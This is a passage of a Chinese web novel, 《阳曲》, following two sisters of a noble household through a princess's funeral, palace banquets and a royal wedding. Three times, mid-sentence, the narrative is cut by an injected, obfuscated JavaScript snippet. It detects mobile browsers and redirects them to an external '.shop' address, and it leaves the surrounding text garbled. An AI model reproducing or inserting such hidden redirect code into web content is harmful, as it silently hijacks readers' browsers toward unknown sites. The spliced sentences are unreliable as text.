《阳曲》 1. 第 1 章 观文公主薨时,师冉月还未及笄。 这并非她第一次参加京中贵人的葬礼。因着阳曲侯师道旷师太傅嫡女的身份,早在她还被抱在乳母怀中,只觉得满院白纷纷新奇时,就已经知道要对那某个屋中哭得眼睛通红的夫人小姐们说节哀了。 不过这倒是她第一次参加同辈人的葬礼。 观文公主的身份很尴尬。今上共六子五女,除却二皇子、四皇子、五皇子和三公主早夭,余下的皇子公主生母皆出身官宦人家,唯有公主中排行第四的观文公主端木荷只是宫女所出。而这可怜的宫女又难产而亡,只被追封了个才人就草草下葬,留下四公主在太妃宫中养大。相较端庄聪颖的大公主定陶公主端木葭和集万千宠爱于一身的五公主云和公主端木萌这两位嫡出公主,以及今上早逝的宠妃平卿贵妃官氏留下的独女二公主新宁公主端木菡,她这个公主实在是太微不足道。 于是甫才及笄,她就被以抚恤旧故的理由,下降给了崇义县主之子,如今不过一载多便难产而亡。 国朝公主出降后,只仍保留食邑尊号,其余一切与寻常妇人无异,既不另立公主府,孝顺舅姑也要按夫家的规矩。甚至如果驸马在朝中地位显赫,应酬来往之时,旁人或许会称其为某某夫人,而非公主。 不过明面上,到底是公主,又是崇义县主的儿媳,因此在京官宦家眷也一一到场做个样子,与主持操办葬礼的那位将被扶正的侧室夫人寒暄一二。 师冉月觉得甚是无趣。满院白纷纷,连着天也是阴的,压得人不爽快;看那崇义县主和驸马的侧室假惺惺地抹着泪,更是叫人厌烦。 她觉得胃里有些不舒服,太阳穴也有点发痛。 师吟月却像是很乐此不疲的样子,永远挂着像刻在脸上一样的微笑,带着妹妹与一众夫人小姐交谈。 不过今日的交谈没有持续很久。因为云和公主下了请帖,派人来吊唁观文公主的同时,将师家这二姐妹叫进了宫中。 马车放下鸦青的帷帘,吟月才显露出疲态,手撑着脸,一度假寐。冉月无聊地靠着姐姐的肩编着扇穗,直到一不小心扇穗散开,轻轻打到吟月的手背,她才睁开眼,淡淡开口道:“方才官夫人说,明日和言便回京了,到时候你只管找她闹去,可少来烦我。” 官夫人即是平卿贵妃官月舟的弟媳,她的女儿官和言是贵妃唯一的嫡亲侄女。因官氏与师家交好,两家儿女也常往来。论起岁数,官和言比冉月还小上半岁,却自幼喜欢些工匠的活计,十岁上就随父兄往各地赴任,跟着兄长几乎踏遍黄河中游两岸,对兴修水利、筑堤修城甚是感兴趣。 师冉月笑道:“你哪是嫌我烦了。要我说,你就放宽心,婚事自有娘和二娘给你考量。你才及笄一年,何必如此着急呢。” 师吟月却叹:“我娘只整日闷在屋中读书弹琴,若指望她,倒不如我一会子直接去求皇后娘娘赐我一桩婚事。母亲想必怕我娘多心,也只叫我留心喜欢的人家,想来也不会太多插手。” 师冉月哽住,一时也不知道再说什么。毕竟实在是师家特殊得很,要说身份尴尬,师吟月也难逃。 师道旷,字继宗,乃是前任阳曲侯师虑的独子,其母赵太夫人是原刑部尚书之女,因而其少时也是京中贵女心中数一数二的夫婿人选。又眉目俊朗,擅写诗文,也是一代风流,自然也傲气非常,却几试不中,因此潜心闭关,终于在二十六岁中举随后便娶了小他十一岁的楚州唐氏之女唐烨为妻。然而十年后,今上将册太子,急于拉拢师家,竟有意与师道旷做连襟,将当时的皇子妃、如今的岳皇后的胞妹嫁与师道旷。岳氏是颍川侯、颍川节度使岳义的嫡女,原本若是做师道旷的正妻也是门当户对,然而唐氏更是楚州的名门望族,书香门第,世人敬仰,唐烨又端庄贤淑,彼时其长子师晟业已七岁,实在无理由和离。最后今上从中调节做媒,终将妻妹岳诗韫嫁与师道旷做平妻。 兴许是唐夫人实在和善大度,而岳夫人实在淡泊避世,外加后来进门温柔小意的妾室崔姨娘,如今师家内宅倒很是祥和。 唐烨共有三子一女,分别是长子师晟,次子师穆,三子师霖和女儿师冉月,而岳夫人所出一子一女,即师家第四子师骁和长女师吟月。 虽说已经到了师家这种身份地位,本不在乎嫡庶,且娶了师吟月,也相当于与皇后和太子搭上关系。然而师吟月自己却诸多考量,犹豫不决。 “我们家被架在这个位置上,父亲母亲把选择权给了我,可我选择了谁并不是要看父母能否满意和我是否喜欢,而是他的家族与师家结亲,陛下是否会喜欢。”遥遥望到不远处的宫门,吟月放下车帘,似是又思量了些什么,细长的眉尾仿佛拖曳着湿漉的水痕,叫人想起深秋枯草叶上摇摇欲坠的露水。她轻叹道:“也许我还是远嫁好些。” 师冉月侧过身躺在姐姐腿上,玩笑般道:“哎,也不知何时轮上我纠结这些事。” 师吟月却不置可否,拿扇柄轻轻敲着冉月的额头,道:“你呀——根本没有那个心,用不着纠结。我打赌假使明日爹娘就给你安排了一桩婚事,你也能二话不说答应,也不觉得委屈。” 师冉月撇了撇嘴,没有搭话。 车帘洇上水汽,鼻息间也漫上青苔和泥土的味道。师冉月凑到另一边,卷起帘幕,淅淅沥沥的雨水已经阴湿了青石路板。古老的石墙也被淋湿,泥渍像未染好的布。 马车已进了宫门。 云和公主的亲信亲自赶着马车,一路到东宫才停下。 如今太子端木昀白日里都在勤政殿参与处理国事,他嫡亲的妹妹云和公主端木萌便成日里借东宫的地方胡闹。作为如今唯一还未出降的公主,简直是满宫里的小祖宗,除了今上和皇后无人能管。 太子未娶正妃,如今东宫的一应事务都是太子贵嫔和缨在管。毕竟不算端木萌的正经嫂子,倒像是她伺候着端木萌胡来。吟月与冉月跟和缨见了礼,三人进了内殿,边见端木萌已放空了一个白玉酒壶。和缨皱眉道:“公主还是少饮些酒罢,到底是——” “好嫂子,你不用担心,我酒量好得很,母后看不出来。”早在和缨还是东宫中的一名舞女时,端木萌就看准端木昀的心意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226116|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始私下里叫和缨嫂子。和缨推拒好久,然而端木昀总是笑着默认,端木萌总也没在长辈外人跟前叫过,便也不再管。 “皇后娘娘便是知道了也不会怪罪我,只是喝酒伤身。”和缨摇头,叫人把酒撤走,又让上了醒酒茶,另给吟月和冉月上了茶来。 师吟月笑道:“公主莫不是竟因观文公主的事犯了愁。”师冉月闻言皱了下眉。 端木萌扯起嘴角:“你如今倒也什么都敢说出来了。” 师吟月仍淡淡笑着,甚至那笑意中似是有些许嘲讽,只道:“你且放宽心,我三哥知根知底,必不叫你日后难过。” 端木萌与师霖早在承祐四年就被赐婚,而如今是承祐十年,端木萌及笄一年。早在去年年尾,礼部和司天监就已经着手选了黄道吉日,开始准备云和公主下降。前些日子师霖荫职翰林编修,大概再过几日,待过了观文公主新丧,就该下诏成婚了。 师冉月倒好奇端木萌的态度。师霖少时伴学太子住在东宫,后来端木萌常遛出宫玩,亦常来师家。二人青梅竹马,又都是远近闻名的混世魔王,甚至也都表露过爱意,按理端木萌不至于被她一直小觑的观文公主之事影响,竟对婚事从满心欢喜到如今都要借酒消愁。 端木萌被她盯得直笑,朝她的方向轻轻掷了个琉璃酒杯,酒杯摔在绵软的地毯上发出闷响,师冉月才骤然惊醒似的,笑了笑收回眼神。端木萌却紧追着问:“六妹妹是想与我说什么。” 这倒还有一桩典故:师家本来男女分别排行,然早年师吟月与师冉月扮男装随兄长们入学读书,人称“五女公子”和“六女公子”,后来相熟的人便也按这个排行浑叫了。 “只是想来日公主不过就是换个地方胡闹,如今闹和娘娘,日后闹我大嫂。”师冉月只笑道。 “你这两年话倒是少了好些,怎么,跟着你家太夫人念经,话都和佛像说完了?” 正谈笑,岳皇后身边的女官来传话,叫云和公主回宫,也嘱咐和缨过两日楚王之女淑宁郡主和沐安郡主将要进京,早做准备。 端木萌向外看了看,笑道:“雨停了,看来天不留我。” 师冉月与师吟月便也出宫回家。马车悠悠出了宫门,吟月才道:“你白日里话未说完。” 师冉月道:“我是想说,过两个月端午宫宴,在外官员和有爵位者都要进京,你便有机会相看了。”她顿了顿,看了看师吟月的脸色,才道:“不过到时候大概新宁公主也要回京吧?” 师吟月知道,她想说的是新宁公主驸马屏南侯李既。早在她还没有把婚姻当回事的年纪,曾偷偷动了心、只在某个夜晚和偷跑来和她一起睡的妹妹透露过的人。 那时候她不知道自己的动心其实根本没掩饰好,也不明白新宁公主出降前跟她说的“这个机会先给我了”是什么意思。 “都过去了,没什么大不了。” 师冉月觉得她可没表面上那么“大不了”,眼珠一转,拿手帕遮着半张脸,身子也提前躲远,故作深沉道,“臣女祝新宁公主与驸马姻缘美满——”引得师吟月笑骂。 2. 第 2 章 五月初五,端午宫宴。 这是国朝旧例。去五毒,朝中上下共同祈福,与民同庆。彼时正殿会摆大宴,待朝中重臣与命妇随帝后等在太庙祭祀过后回宫开宴。东宫也会摆小宴,侯门望族未婚子女共聚,实则也是心照不宣的各家联姻相看的好所在。 除了少数赴任或随父兄赴任的离京以及回京的,年年实在也就是这些人。今年略有些不同的,是早两个月就进京的淑宁郡主和沐安郡主,以及近两日刚随父进京的楚王世子端木玄。 依礼藩王外封后世袭罔替,藩王及其后代都非诏不得离开封地。如今的楚王是今上异母弟,但也是由今上生母即已故太后抚养长大,兄弟感情深厚。今年今上特招楚王及其家眷回京团聚。 前些日子闻得这消息,师冉月便打趣师吟月:“这又来了个好选择。到时候回慕州楚王府,天高皇帝远。” 师吟月叹道:“勾结藩王——”又话锋一转:“况且你不是和那楚王世子还有联系?你那玉佩不还是他的。” 师冉月一顿,眼神飘忽了一瞬又立即紧张地看向姐姐,随即也笑了,道:“你也说了都过去了。”又很刻意道:“他都订了侧室夫人,我早就说我还是喜欢一生一世一双人。” “你还是少看些画本子罢。” “画本子里也是有好东西的。比方说我前日还看了一遍‘狸猫换太子’,你不是也喜欢听这个编的戏?” “那是原先。我如今喜欢前些日子茶楼说书先生讲的那出‘铡美案’。” “不过说实在的,我倒总觉得那些出戏演的都不真切,好像都不是真人似的。”师冉月边想边说道,“就好比说那主角,总是要生父是个抛妻弃子或是宠妾灭妻的,生母呢要不然就是缠绵病榻——甚至早早逝去,要么呢就是子女事事都要插手,好比焦仲卿那个母亲......这还不够,再遇上个伴偶始乱终弃、子女不孝的,官府判了冤案也遭在这人身上。可说实在的,事实上有几个人这般不幸,大多数人这日子不就是一半好一般坏么,不必爱极了谁,也不必恨极了谁。” 她说这话的光景绘声绘色,甚至不自觉手舞足蹈的,师吟月在旁边瞧着也忍不住笑出了声,道:“那原本就是为了上戏台子上演的。寻常的日子连点波澜都没有,放到戏台子上又有谁会看呢?” “哎,像我们这样的人,合该就是配角罢?若是主角,大抵此时就该奋力反抗那什么......家族安排的姻缘,与身份低微的心上人私奔。又或者,等我们做了讨人厌的长辈时,专去拆散儿女的姻缘去。” “瞎说些什么。”师吟月撇嘴无奈。 “那些人不就喜欢看这些吗?”师冉月托着腮道,“我也喜欢看。那般专做恶人,或者礼义廉耻家族亲人全不顾了,只顾着自己爽快,不比做个善人容易多了。前些日子和言还与我说她在外头听见的话,叫什么......那一生作恶之人,只消临了了做了一件善事,那就叫‘浪子回头金不换’,可一生与人为善的,但凡做了一点错事,那别人就要说他从前也都是伪善罢了。” 师吟月叹道:“善恶哪里在旁人的唇齿间呢。”又笑着点了点妹妹的额头,“你啊哪里需要操心这些,不如回去张罗张罗小厨房今日做什么点心。” 师冉月听出姐姐话中促狭取笑的意思来,不服着要还嘴。两姐妹笑闹着,话便也离了题。 不过论起相貌,那端木玄的确是身姿卓然,一双星眼眉目俊朗,像极了前任楚王妃辛阮英。前日与三皇子陇西郡王端木齐、六皇子闽中郡王端木阳还有师霖一同游览京城街市,被传比起被誉为“京城第一美男子”的师霖也毫不逊色——就是比起师霖一双桃花眼到处留情,端木玄的冷脸看上去不太好接近。 今日能在东宫坐着的侯门望族的小姐自然不会是常去街市闲逛的,不过传闻的确也在今日得到了证实。 “看,我们这远道而来的楚王世子爷可是成了新的香饽饽。”端木萌笑道。 端木齐严肃道:“云和,怎么跟堂兄说话呢。” 端木阳比端木萌还小一岁,笑道:“二哥莫吓五姐了,何况堂哥就是不爱笑不爱说话而已,也没多吓人啊。” 端木玄闻言也笑着举杯,敬了众人一杯,“我远道而来,在京时还要多叨扰各位了。” 师冉月眯眼,轻声对师吟月道:“真是假惺惺啊。” 师吟月正发愣,话听了一半,皱眉道:“什么?” “我说......这番兄友弟恭。” 吟月没有再搭话。 “进退有度,话不多。至少如今来看。”官和言眯着眼,低声与一旁的冉月道。冉月笑着轻推她一把:“怎么,你动心了?” “我可没。何况场上还有个他那未过门的侧室夫人呢。” 说起“侧室夫人”,原是指林绵。林绵之父本是驻扎在慕州的武将,她是外室所出,而颍川侯岳义的侄女岳道茂嫁给林父后多年无所出,便将林绵接回去亲自抚养。前几年林父病逝,岳道茂回京寡居,也把林绵带了回来。但林绵与端木玄的婚事是早在慕州就订好的,这次楚王一家进京,也是要在京让林绵进门。 官和言又盯着看了一会,突然抓住师冉月的手小声激动道:“他怎么没戴那玉佩?” 师冉月忙拽走她:“和娘娘说在偏殿小厨房有西域的师傅做烤肉,我们快先去看看。” 那边师吟月与林绵一同坐着,看见冉月拽着和言溜了出去,林绵笑道:“六妹妹还是这么顽皮。”吟月只道:“你就不操心楚王世子?如今好多人赶着要做世子夫人了。” 林绵却只看笑话似的,一一拿帕子指着道:“她们不过如今玩玩罢了。那边王家的大姑娘已定了陇西郡王妃,宋相的女儿宋滢定了闽中郡王,大概是侧妃,这都是过几日就该下诏赐婚的,彼此也都有数了。今日在场能配得上做楚王世子夫人的,大多都有了婚约了。再者,就是你们两个。” “是了,要么不能,要么不敢。”吟月笑道。 “此不敢非彼不敢啊。” 京中藩王府。 闹了一日,又陪楚王与楚王妃说笑半晌,端木玄只觉头疼。 烟水亲自捧上一碗梨汤,屏退众侍从,道:“世子觉得如何?” “师氏,或者官氏。” “官氏的小姐性子不适合做世子夫人。”烟水道。继而顿了顿,又道,“官氏近两年与师氏关系紧密,唯师氏马首是瞻。选官氏,不如直接选师氏。何况师氏有官氏没有的东西,世子应该清楚。” 端木玄揉了揉太阳穴,喝掉了梨汤,沉声道:“那就师氏罢。” “师家大小姐心思缜密,为人持重,世子要早做准备——” “为何不能是二小姐?” 烟水抬头看向端木玄,自就任以来第一次觉得舌头不太听使唤,终还是先道:“京中早年有‘师氏出贵女’一说,有意指师家二小姐有皇后之命。太子不定正妃,无人敢娶师家二小姐。” 端木玄抬头,深得快和窗外夜色融为一体的眸子盯着烟水的眼睛,直到烟水低下头,他才嗤笑一声收回视线,将碗扔回她手中的托盘上。烟水迅速跪下。 “有事瞒着我。” 烟水虽是卑微到极致的姿态,面上却仍然平静的像在地底封存了几十年的冰冷的泉水,抬头看着端木玄:“师家二小姐认识‘您’。” 端木玄瞳孔骤然紧缩。 端午宫宴闹了一整日,又被端木萌留在宫里陪她整理嫁妆,直到五月十二师冉月才终于回了家。 阳曲侯府这宅子托师家老太爷的福,在与京城中南北中轴的京华道不过一道之隔的这么块寸土寸金的地方占了堪比王府大的一块地建宅,几经翻新修缮,传到师虑这一代,便直接挂上了阳曲侯府的牌匾。又因师家祖籍逢州,位处江南,头几代家主思念故土,将宅院修的颇有园林之风。 进了府门正对着叫近忠堂,原是有客前来拜会时歇息的地方;往西是明崇堂,后身的西前院用来备放车马,西前院更往西是纯善院,有纯善居,乃府中管事所居;往东是汇贤堂,后身的东前院被辟作一个小型的练武场,供家中习武子弟用。再往东是一大片骑射场,周植杨柏,又建观射台,其东临院墙更有一排老柳,虽是垂柳,但树龄也有近百年,春夏郁郁葱葱,带来一片浓阴。 近忠堂后一进是前正院,中有一池,经某位家主赐名“与贤”,上有廊桥,其西南密生了一片芦苇荡,东南有两棵垂柳,上有廊桥,白玉石雕,布景甚是雅致,遂在其北修两层高的小楼,取名“望潮阁”,平日待客会友,或逢年节家人相聚,往往在此处。若逢月夜于小楼上凭栏吹风,也是别有一番情调。然而早几年师冉月刚明白望潮的意思,曾随着她三哥师霖一道对此不屑一顾:“一个小破池子,死水动都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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家祠后便是主院。主院正中有师道旷祖父亲手种下的一排杨树,被隐隐算作内外院的划分。内院的布局更像是一处处井然有序的小三合院的排布。正对主院的是留容轩,为当家主君、主母所居,其后东西分别设采薇阁与蒹葭馆。主院东、西分别是留岁轩和留禹轩,留容轩西是留辰轩,正与留禹轩相对。留容轩东即东侧院,有念栀堂和锦心阁,供女眷们玩闲。留容轩北便是后院,有一比与贤池大两倍不止的池子,名水沁池,中有一小石头的拱桥,左右两侧分别种白莲和红莲,池子另一侧另有特意养的浮萍与芦苇。池北还有一凉亭,八角飞檐,小巧精致。池在后院东,后院西有一容尘阁,乃是茶房。阁前一大丛满堂红。 后院西乃留源轩,东乃留华轩,北乃留瑞轩。留瑞轩东又有留润轩。西则岁苍斋,如今是赵老夫人吃斋念佛的居所,正对西后院和西北角门。每每师冉月想偷溜出门,便常借去看老太太的缘故。岁苍斋与留瑞轩间还有一小夜池,也植芦苇,其南有老桐树,北则有一扇形回廊,名芦花馆。 再往北有雨关院,即是仆人下房。更往北却还有一溜场地,简直是历代家主自行发挥的园艺场。最西有一竹雨园,杂植湘妃竹、慈竹还有木兰花,中有一涌泉池,池西养睡莲,岸上养垂丝海棠,东有一座三曲石桥,桥东隔水造假山,仿逢州城郊西山的样式,被师霖评:“几块石头往一起一堆,便可叫山——逼厌。”山后有梧桐树,旁边有一侍馨馆,顾名思义,乃是负责照顾这些花花草草的仆从的居所。不过内里布置的及其洁净清爽,全拜师家历代爱花草之人所改造。侍馨馆周有竹林、迎春、玉兰,再往东就是赏梅亭,每到冬季,其四周白梅、洒金红、小玉蝶、南京春、江南朱砂、骨里红、绿萼、宫粉等,竞相开放,各自娉婷,若是下了雪,更是画上都比不了的景致,因而这一片便也就叫作“梅园”了。 如今师道旷与唐烨自是住在留容轩,岳诗韫居留禹轩。师晟与其妻萧晨居留瑞轩。师穆与师骁皆习武,又未娶妻,过了随母居住的年纪,就住在东前院上德堂。师霖因着将要尚公主,如今便收拾出了留润轩给他。留华轩本是给吟月和冉月住的,然而吟月常陪岳夫人住在留禹轩东厢,冉月又常跑去岁苍斋与祖母住,倒是算闲置下来。 不过师冉月这趟在宫里折腾好几日,只觉浑身疲惫,便径直回了留华轩,打算不管三七二十一先睡个天昏地暗。然而她才坐下歇脚,一口茶水未饮完,侍女音儿就进来道:“姑娘,夫人那边传话来,叫你去试及笄礼的衣裳呢。”侍女水杏接过茶盏,拿帕子擦了擦冉月脸上沾的茶水,道:“姑娘不是一直盼着那衣裳,如今终于做好了。” 师冉月心里虽也盼着,确实在困乏,只管叫小丫鬟传话,待她小睡一会儿再去留容轩找母亲。 3. 第 3 章 待师冉月悠悠转醒,已是掌灯时分。简单梳洗一番,便准备往留容轩去,一则试衣裳,二则也是该用晚膳的时候了。 水杏在西厢收拾着绣样,只留音儿帮冉月绾着头发。她轻轻用栀子花的头油顺着头发,一面轻轻道:“那边又来信了。” 师冉月闻言,抬眼看了眼妆匣,末了转手拿了朵海棠珠花戴在头上,道:“且等晚上回来罢。你晓得如今是什么时候,千万小心。” “姑娘放心。” 师冉月又懒了神色,换上条新裙子,便往母亲处去。 师道旷平日里是极少在后院用膳的,于是留容轩的桌上照例还是唐烨坐在上首,右手边是萧晨和吟月,下头立着丫鬟婆子。师家没有叫媳妇伺候的规矩,因此内院女眷一般都依长幼同桌用膳。岳诗韫很少有兴致与众人一同用膳,今日倒是来了,就坐在唐烨左手边。 师冉月向唐夫人、岳夫人还有大嫂见了礼,边坐下边笑问:“娘,我那衣裳呢?” “着什么急。待会吃完了饭再去试。我已又检查了一遍,大概是没有问题的,只看你试试身量细节。” 岳夫人也道:“花样子也都是好的。不过你一向喜欢栀子,怎么这回叫人绣了蔷薇和海棠?” “倒也没有别的,只是那日大嫂拿绣样叫我敲定时,我正瞧着院子里新开的海棠和蔷薇,觉着亮眼,便用了。姐姐不是原本喜欢梅花,去年及笄时衣裳上也是月季的花样?” “我那花样定时是绵姐姐在旁,说梅花绣在衣服上不好看,给我定了月季。”吟月笑道,“不过也无妨,你若反悔了还想用栀子,就快些成亲,到时候在婚服上绣栀子,正好还是个好兆头呢。” 几人说笑着用完饭,赵老夫人身边的嬷嬷送来了消食的茶。冉月很无心用茶,只催着萧晨陪她试衣裳。萧晨叫人将衣裳取来,一边笑点着冉月的鼻尖:“及笄了就是大姑娘了,可不能还像以前这样活蹦乱跳的没个正形——你学学你姐姐。” “姐姐打小也是一样的性子,哪是因为及笄才变的。” 唐夫人道:“我倒不盼着你能有吟姐儿那般稳重,只是别给我闹出罗乱。” “一定一定,您放心——”冉月一边笑着说着,一边已同丫鬟转到屏风里去换衣裳了。外面唐夫人却正了神色,向岳夫人道:“昨日楚王府那边有消息来,有意小六。” 岳夫人愣了愣:“先前有那样的传闻,楚王府又一直留心京中,不该没打听过。” “这倒是后话。只是我听得的消息,是世子自己的主张,似乎楚王那边还没有意向。毕竟过些日子就要先迎个侧夫人回府,按理应该不着急在这个关头要订正室。” “既然不是楚王,那么世子只要没过明路,一切就还不急。我听说过几日几个郡王妃就要下诏赐婚了,也许今上会一并把太子妃定下来。之后无论怎样就好说了。”岳夫人缓了神色,银盘一般的面容恢复了平静。 唐夫人只叹了口气:“也罢,小六的婚事,总是不归咱们家自己做主的。”又转头看向师吟月:“端午也过了,你可瞧见合适的?若没有,逢州景家今年刚有一子入仕,景家与我们世交,我前些日子问过你父亲,此子相貌品行都不错,可以做个人选。” 岳夫人罕见开口道:“其实你若如今当真没有心上人,嫁到唐家也是好的。” 师吟月犹豫道:“母亲,娘,若我还——” 岳夫人冷声打断:“你难道非那人不可?他如今已是新宁公主的驸马,难道你想去与她共侍一夫吗?” 师吟月张口还要辩驳什么,师冉月却突然笑着从屏风后跑出来,在众人面前轻转了转身,水蓝色的裙摆如同荡起的水波,划出一道清澈的弧;深紫绣线的蔷薇与淡藕荷色的海棠夹在其中,如暮春落花,恰似师冉月出生月份的景象,花开荼蘼却依旧明媚。 “好看吗好看吗。”她一叠声道。 “自然好看,你穿什么都是好看的,何况这衣裳确实是绣娘用了心。”师吟月软了神色,轻轻笑着说。萧晨伸手帮她理了理衣襟,也笑着说:“六妹妹如今越发好看了。这花样选的也好。我原还担心水蓝的底子,蔷薇和海棠绣上去会融不进去,如今看来倒是极好的。” 师冉月还对着丫鬟捧来的大穿衣镜摆弄着裙摆,又笑着说:“在姐姐面前我可不敢说好看。姐姐如今可还是茶坊里说书先生讲的‘京城第一美人’呢。” 师吟月笑道:“那些穷酸的世子文人乱评的罢了。各人都有各人的长相,自然就有各人的美处,这哪里是能用来比较的呢?” 这事说来有趣,茶坊酒楼里历朝历代都同样肩负着八卦中心的使命,而本朝人们常常喜好效仿宫中贵人的的审美喜好,因而所谓的“美人”的长相往往由皇后、宠妃的长相决定。本朝岳皇后与已逝的平卿贵妃都是白净的似银盘样的脸,远山眉水杏眼,柔和至极的长相,因而与嫡亲的姨母长相相似八九成的吟月自然而然就成了“京城第一美人”。吟月有时也颇大逆不道地想,倘若太子登基,依如今太子宠幸的和贵嫔的长相——一双桃花眼明艳动人,那恐怕这第一美人的称号就要落到同样有一双桃花眼的冉月头上了。 被师冉月这么一打岔,先前关于师吟月婚事的讨论也就暂时作罢。姐妹二人伴着师冉月的新衣裳一同离开留容轩,留下唐夫人、岳夫人与萧晨也许仍在继续商量些什么。快走到留容轩院外,师冉月仍笑着说:“对了,三哥就要成婚了,那他那‘第一公子’的名号可就要让贤了。你说下一个‘第一公子’会不会是和言的二哥?” 师吟月有些疲惫:“是谁都与我们没什么关系。今日如此晚了,你还是快些歇息吧。你方才才回来就昏头大睡,还没给祖母请安。明日别忘了早些起来。” 留华轩。 师冉月匆匆略过院里的木兰、月季、栀子和玉兰,还有新漆的秋千,眼里却全然不是方才与姐姐说笑时的神色。匆匆洗漱后吹了灯,待只留音儿一个人在套间守夜时,她才又悄声起身,在妆匣里找到信,借着音儿方才留在帐子里的小灯读了起来。 不到半个时辰,音儿起身探看,帐子里的灯已经熄了,便也放心小憩。 五月二十七是师冉月的及笄礼,六月初一便是司天监算出来的云和公主出降的好日子,师家上下连着两个月都忙得不可开交,临到了日子更是紧张。 师冉月对自己的及笄礼倒很无所谓,尤其是在看过去年师吟月和端木萌的及笄礼后,她越发觉得自己的及笄礼不如叫师家女儿的及笄礼,与自己倒没确切的几分关系,不过是走个过场。至于像母亲和大嫂所言的“成长”、“转变”,哪里是一个及笄礼就能划分的了的。 不过对于师霖和端木萌的婚事她却要处处参与参与。 一是依习俗,未出嫁的姐妹要为新娘添妆增喜,而端木萌已经没有未出嫁的亲姐妹,于是这桩事就被岳皇后交给了端木萌的表妹师吟月和曾经的伴读师冉月和官和言。二则虽说兄长成亲,没有未出嫁的妹妹跟着闹洞房吃酒席的说法,但等次日新妇见礼,做小姑的当然要在场。由于长兄师晟成亲时年纪还太小只能听说而不能亲见的热闹这下子可算被师冉月逮着了,自然不能轻易放过。 六月初一一早,惠风和畅。 前一日师吟月、师冉月与官和言三人就入了宫,如今一早被宫里的嬷嬷叫起来,天幕还带着未尽的青黑色,呼吸间也尽是露水的清凉气息。师冉月是不怕早起的,起得越早她越兴奋,不带一点倦意。师吟月成日里早起侍弄花草,或听岳夫人读诗书,或陪祖母念经书,更是习惯。唯有官和言,在外虽父兄于各地赴任时,毫无拘束,回京后其母曾想板一板规矩,赖不住女儿撒娇,终也作罢,如今非但要早起,还是在宫里宫外命妇贵人眼前,不敢有一点马虎,只能趁着岳皇后未关注她们时靠着师吟月或师冉月小憩。 女官为她们梳完妆后,只教她们在偏殿等候。按着时辰端木萌也是正该梳妆,师冉月闲不住,偷溜到正殿,看着皇后宫里的黄掌宫把端木萌的头发一点点绾起来梳作妇人样式,戴上繁复璀璨的头冠,心里突然升起一股莫名的恐慌。 端木萌看到她,笑:“你怎么溜过来了,快来快来,我在这坐了一早上了,脖子都僵了。” 师冉月到她身旁,坐在宫女搬来的圆凳上,悄悄拉起端木萌的手。端木萌给她看自己的指甲:“我在丹蔻里掺了些金粉,怎么样,是不是很好看?前年乞巧节的时候我这么染过一次,被母后看见了就不许我再染指甲了,但是你三哥说好看。”她脸上浮起娇俏的笑意,似乎脸颊上的红并非是胭脂染的。师冉月于是咽下想说的话,也笑道:“你怎么还有空与我在这扯闲。” “为我开面的越兴长郡主还在母后那里,所以得一点闲。你手上怎么出汗了——成亲的又不是你。” “你不紧张吗?” “紧张啊。我昨晚想了一夜,只怕行礼时有哪个环节出错。” “这哪里会出错。何况你是公主,就是出错了也是公主的规矩、天子的规矩,谁能怪你呢?” 端木萌的眼神却有些放空。她低头绞着手里绣了鸳鸯纹样的帕子,心里头也一阵阵地揪紧又放松。末了,她抬起头来,笑中有些哀伤:“许是这些年同你一道看话本子看的太多了,我总还是希望,我的婚姻,不会最后落得和母后那样,或者像唐夫人、像你大嫂——相敬如宾,甚至貌合神离。” 师冉月有些讶异。她自己也许也总是抱着一点这样的期许,但总归早就知道自己的婚姻并不由自己掌握——哪怕真的嫁到东宫,那也还算是嫁给自己从小就认识的人,就怕最后兴许新婚夜才是与郎婿相见的第一面。可是她未曾想过这话会从端木萌口中说出来。师霖与端木萌的姻缘,即使是她们姐妹间私下里也觉得是天作之合,虽说表面上总是政治的外壳,然而他们青梅竹马,甚至明面上“打情骂俏”,互相也都承认了对对方的喜欢和爱慕——却不想她也有这样的担忧。 端木萌看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226118|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她半晌僵着不动,像是猜到了她在想什么,破开笑容道:“怎么,你三哥又不是什么好东西——他那什么‘第一公子’的名号还不是在花楼里传出来的。还不许我担心了?” 师冉月忙笑道:“哪里就不许了。” 年少时把宫里宫外闹得鸡飞狗跳的纨绔公子和跋扈公主的婚礼顺利得叫人觉得有些恍惚。御制的正红色婚服厚重至极,衬得人端庄得体。 公主出降,百里红妆,师家娶府,开宴七日,全京同喜。 “世子该在宫中。”京中最有名的茶坊也挂着红绸,喜庆的颜色伴着说书先生的惊堂木使得人声更加鼎沸。师冉月坐在对面小酒楼的窗前,耳边是若有若无的说书先生讲的云和公主与驸马两小无猜的故事,脸上还是早上宫里嬷嬷画的妆。 “没有该不该的事。太子殿下已知晓我出宫。”对面的人嘴角衔着笑道。 “这不是你的人擅自带走我的理由。” “但师二姑娘也没有我想象中的惊慌。” 师冉月叹气,只觉得烦躁。“你想要什么?”看这样子就算是知道了那件事,他也不像是找她灭口的。 